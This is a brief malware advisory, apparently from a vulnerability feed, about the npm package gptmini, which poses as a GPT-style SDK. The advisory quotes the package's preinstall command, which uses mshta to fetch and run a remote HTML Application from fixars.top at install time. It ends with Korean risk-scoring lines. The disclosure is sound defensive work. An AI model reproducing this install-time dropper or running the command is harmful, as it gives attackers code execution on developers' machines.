Malicious code in gptmini (npm)
-= Per source details. Do not edit below this line.=-
On npm install, the package's preinstall lifecycle script (preinstall.js, declared via scripts.preinstall "node preinstall.js") shells out with exec('cmd /c "mshta http://fixars.top"'). This causes Windows to fetch and execute an HTML Application from the remote host fixars.top over plain HTTP at install time with no user interaction, yielding remote code execution on the installer's machine. The package presents itself as a Node.js wrapper for a GPT/OpenAI-style SDK (name gptmini, baseUrl https://api.openllm.ai/v1), with empty author metadata — an AI-SDK-shaped lure paired with an install-time dropper to an attacker-controlled domain unrelated to any documented publisher.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도(기본값(정보 없음)) | 55.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 55.00 |
VPI 공식 vpi-v1 기준